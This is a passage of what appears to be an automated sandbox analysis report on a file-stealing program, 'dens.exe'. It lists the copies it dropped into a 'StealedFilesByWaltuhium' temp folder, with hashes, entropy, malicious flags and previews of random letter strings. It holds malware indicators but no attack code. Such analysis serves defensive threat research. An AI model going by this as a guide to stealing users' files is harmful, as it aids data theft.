Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\WKXEWIOTXI.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697336881644685
Encrypted:	false
SSDEEP:	24:DVE9Jf1tiezZxapTBz4fmlhQHdwc6WS/ZCGxruwyJM:Deu8xafWWKHj6Zx
MD5:	08AF516B9E451DB9845289801A21F1BC
SHA1:	D43E58D334ACFAE831AD929003D89DC6D3B499F9
SHA-256:	C459EA8FCABD26C75606F78F91AA8446698D90422EE4869ABE4ABCCB50B45379
SHA-512:	C8C2BB634740DBDDC5928E5FD3960011BB86842B72673FDCE2D65C86AE6D5945F0C88E81AE96DEA711CC654FAC8B4EC809DF18F57BFB4129503DE37E426CF055
Malicious:	false
Preview:	WKXEWIOTXIKPVKMTOJVZKCCJOJQJVVBUCRVSCWBTZFRFCLMJEFYWDAADXDSWAVKQUKEQVBGBEVVYQQKRCSDIQBFHQPNUHXEGBVBQAZXUXMBFNLNCNTBFAMVYZJITBIGADWSFAFETGWVSLSMWHTRSSUNGFAPUBMTUYBFNDIWUKESLBWQSCOTLFFHGDQBTCYHJBCBOARQTWMUDRIUXIXOCLDIEADCRMXGAMQGVIRNLAGTALJHBZWRNXXRRBLYDOAYCBGEJCTGYVJXPIAIVUAKQQBRSXZKMFBMWWCHMTGNMNRBVSOTUFWOEJRLHHVPMJECGASFUTKIEPJVDDGJBEAOSKQSOAKQFVDMPVFZXVQQGBIVNAKYSEGLMWLAYDYTALUJSLPWCLEJKQBXBYHAKPFMJEIYHGDOFGQSDOCEQICJNJHPIMYZXEEBLQDGZQJHXKMNXDWJCMMFBONBYYWLDOKPYOROQOAOXKLNFZNGOBDFJUKRZTHKLRBINVCYAUIXORJECNOHLVMBHPPCTEWZMHAKKOWVWNWGYCHRMUWRNDXFYYWTIGTCJKQDPGUNHAJQDLUZMXHCGTFUQBMGYHZZQTDVDXANXWNWKFTJJGQDHQOXVXPQVSIEKEEJXYUACENKWKIJBJQXHMLMPZXYAVPNORKZSDXAKFPVLVKXAALPKPLPVFPCSRBEEJDNJCIJXXOCNXCBVGHIYCQQVQHTTNURHGTJJXKJRPJEGOUFOHMMCJGVNMXOAXZBVGWVBLQZNFUTGTNMFHQOEJPQLIMHIWPQHWMJJDCVVMWJEEFQQZJEEECMHCCUANTBJYRWUCSJSOHYMSBWTKOKBZPVNMIVCLDDALCEUFSLAOCOCSAXADDYPCSIANHKQFGMSMYTDVKAOIYTWPDDCRKDNZYGXHYDSDFXTLUDKREZTPVBCYOHCUNIFNCKBSSGTENGDYROMJUTSSFWEEFXLJPBMSINKXZCEUWQMDWGNHDWNFHYTECVIYIAPNGWL

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	true
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	true
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700014595314478
Encrypted:	false
SSDEEP:	24:ZUpld6DFp3zvtLC4Tmg3c0x2ngfNqdsD1OqVMyUXHt/Sv0vyjsbsV:upqDL3hO4TRc4Eq8tKvYgV
MD5:	960373CA97DEDBA8576ECF40D0D1E39D
SHA1:	E89C5AC4CF0B920C373CFA7D365C40C1009A14F6
SHA-256:	501DC438F0E931ABED9FDE388BA5A8FAE8445117823118C413F54793F0E10FD7
SHA-512:	93B34F6BC4DCEA41103E31272F2DC9CF07CC100F934CECC8F4317525DA65128DBBAD75B23CE40D46EE1DC11D10147250CAE33F01220F5624E2406B2596B726EB
Malicious:	false
Preview:	YPSIACHYXWDOAOALJCJYYKHKMGYIZBYLJSULATZCLAKGTHKIZZZPZMBAJFNQKRWGKHDEEYLGCRMYXVOJCXPRDOFVVXDFSZNRLGLUNBQSCSVJXKHLUFNOKRCASVQNUJDYWNWTNGJYBIKCERFIRWTZVUUNKNCMUGKTMSRIVLFQTZDVSHZTYRURNPZRSHICVPPIWUNOSYRCNVXHOFETKZDTIEIOQHCHWHDXEDXBZFSWIFFLXTXQXUBJCTQSDGVAMQKTUHJAAEDEECWFOEDCAALGNKEQRGJPVEEVJPTSROUZFPHKPUHLAYRHVULFESXXGKSAIYLAVSWMISSCMRGVQGXFGFYXBQBRZHILLZQUJRQJHUVBFDBPCNUAKOXURUUUKQNRUEAXAAXWIVATBILRXVUBDTFNWUQLPZELETXDQPCWJXRRAQILAVVZFAMGUWUYYORCQNUYLSNLTNXIAWJVDTPNCZPHSWYWWTBBJECMEGHRCATJANBKSCMLVOBOTXPKGMTOJISGOTUUOFVJPAGNMHFSAFRHQUHMYURLAJVNZPEMNMUDZAUMRZHQJBWVCUSQAENWUTRFBUFUWIPJYVLYDUIBJSTTFGSFBHTKIXJNVJUYJGSHZHMDONOHBMLQDTHGTPLYVKGUXWHEYTHTWOOMQOGUFQGRWUYBVWILTRHBAIJHZKXNAQYAIZBPYWWZSBDWNPRWGFXHNPFFMHKCCERIWCTACKIVXLZBNOTBYDOPJBYTZWNSXYXVYPHAGUHBXKPPAFNZGWEKOBPXTCLBIOEIVWLELPXJAINCDBEUOIFMNFWSRDONSGUCNGDZLIAFVNUQXZMTVJLIACGEXXESAGRKCPJNTKZHMMCTJZCLWNTNEJFUCODLVBCJHINWJYBLRXSKLVKNYGPLXGKEHMXSDKIAPHRGHBOCHQEJPMJEKRMRTLJNYNRHDPPQKJHXGYJMDUOESMBVJOBKJWUUSSZEQAGHANSYFBHIZFXSLENBLJWCHGEM

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRR